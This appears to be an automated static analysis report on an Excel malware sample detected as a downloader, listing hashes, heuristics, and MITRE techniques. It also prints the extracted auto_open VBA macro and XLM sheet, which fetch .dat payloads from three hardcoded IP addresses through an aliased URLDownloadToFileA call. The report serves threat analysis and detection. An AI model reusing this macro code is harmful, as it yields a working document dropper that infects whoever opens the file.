Xls.Downloader.Docusign112101-9908076-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 beafc4b3c8c3a12d…

MALICIOUS

Office (OOXML)

101.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-20
MD5: ad75eb1d410a33694111db2dcae5f5a4 SHA-1: 85bd9351c6cf4bd195b2888045f9eacbdd52d071 SHA-256: beafc4b3c8c3a12d5e2a5ae7e8c98e4cbd4a28f7584501921252db09e52e2b53
218 Risk Score

Malware Insights

Xls.Downloader.Docusign112101-9908076-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including an Auto_Open macro, and an Excel 4.0 macro sheet, which are indicative of malicious intent. The VBA script explicitly uses URLDownloadToFileA to download content from multiple URLs, suggesting it acts as a downloader for a second-stage payload. The ClamAV detection name further supports its classification as a downloader.

Heuristics 7

  • ClamAV: Xls.Downloader.Docusign112101-9908076-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Docusign112101-9908076-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Sheets("AutoDrom").Range("H35") = "=HALT()"
Sheets("AutoDrom").Range("I10") = "URLDownloadToFileA"
Sheets("AutoDrom").Range("I12") = "Friskos"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
On Error Resume Next
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://190.14.37.25/ Referenced by macro
    • http://51.89.115.101/Referenced by macro
    • http://176.126.113.167/Referenced by macro
    • http://190.14.37.25/�Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/excel/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2670 bytes
SHA-256: 37e4e887bb3ed27eea2797b3dfedc4e5b0040cf814d2883b4c7bbef6f6d93842
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{956D95AD-CD54-4AA9-9397-9316D8C16A94}{A9DDCDAE-A2B0-48E9-BF3F-3F414E8A728D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{A878B526-52F8-4A56-8337-60327A2A037D}{D7740D01-60E6-4742-8130-2487A2057B6D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"

Sub auto_open()
On Error Resume Next

Application.ScreenUpdating = False
Sheets("AutoDrom").Range("H24") = "http://190.14.37.25/"
Sheets("AutoDrom").Range("H25") = "http://51.89.115.101/"
Sheets("AutoDrom").Range("H26") = "http://176.126.113.167/"
Sheets("AutoDrom").Range("K18") = ".dat"
Sheets("AutoDrom").Range("H35") = "=HALT()"
Sheets("AutoDrom").Range("I10") = "URLDownloadToFileA"
Sheets("AutoDrom").Range("I12") = "Friskos"
Sheets("AutoDrom").Range("G10") = UserForm2.Caption
Sheets("AutoDrom").Range("G11") = UserForm2.Caption & "1"
Sheets("AutoDrom").Range("G12") = UserForm2.Caption & "2"
Sheets("AutoDrom").Range("I17") = UserForm1.Caption
Sheets("AutoDrom").Range("I18") = UserForm1.Caption & "1"
Sheets("AutoDrom").Range("I19") = UserForm1.Caption & "2"
Sheets("AutoDrom").Range("H10") = "=Friskos(0,H24&K17&K18,G10,0,0)"
Sheets("AutoDrom").Range("H11") = "=Friskos(0,H25&K17&K18,G11,0,0)"
Sheets("AutoDrom").Range("H12") = "=Friskos(0,H26&K17&K18,G12,0,0)"
Sheets("AutoDrom").Range("H9") = "=" & UserForm2.Tag & "(I9,I10&J10,I11,I12,,1,9)"
Sheets("AutoDrom").Range("H17") = "=" & UserForm1.Tag & "(I17)"
Sheets("AutoDrom").Range("H18") = "=" & UserForm1.Tag & "(I18)"
Sheets("AutoDrom").Range("H19") = "=" & UserForm1.Tag & "(I19)"
Application.Run Sheets("AutoDrom").Range("H1")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: b56ec00af705253afcae3e8d0bfeeda3e6335598722ac30ea90522666c98ec00
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1515 bytes
SHA-256: cfc7398f1c5e030893e4f32c18d2d5dd4ee80902bd65e2430497fbdc1a76aad0
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{F0ECC364-3B7D-4853-B4E3-2142EE7A9967}"><dimension ref="I9:K17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="9:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="s"><v>1</v></c></row><row r="11" spans="9:9" x14ac:dyDescent="0.25"><c r="I11" s="2" t="s"><v>0</v></c></row><row r="17" spans="11:11" x14ac:dyDescent="0.25"><c r="K17" s="2"><f>NOW()</f><v>44504.583722800926</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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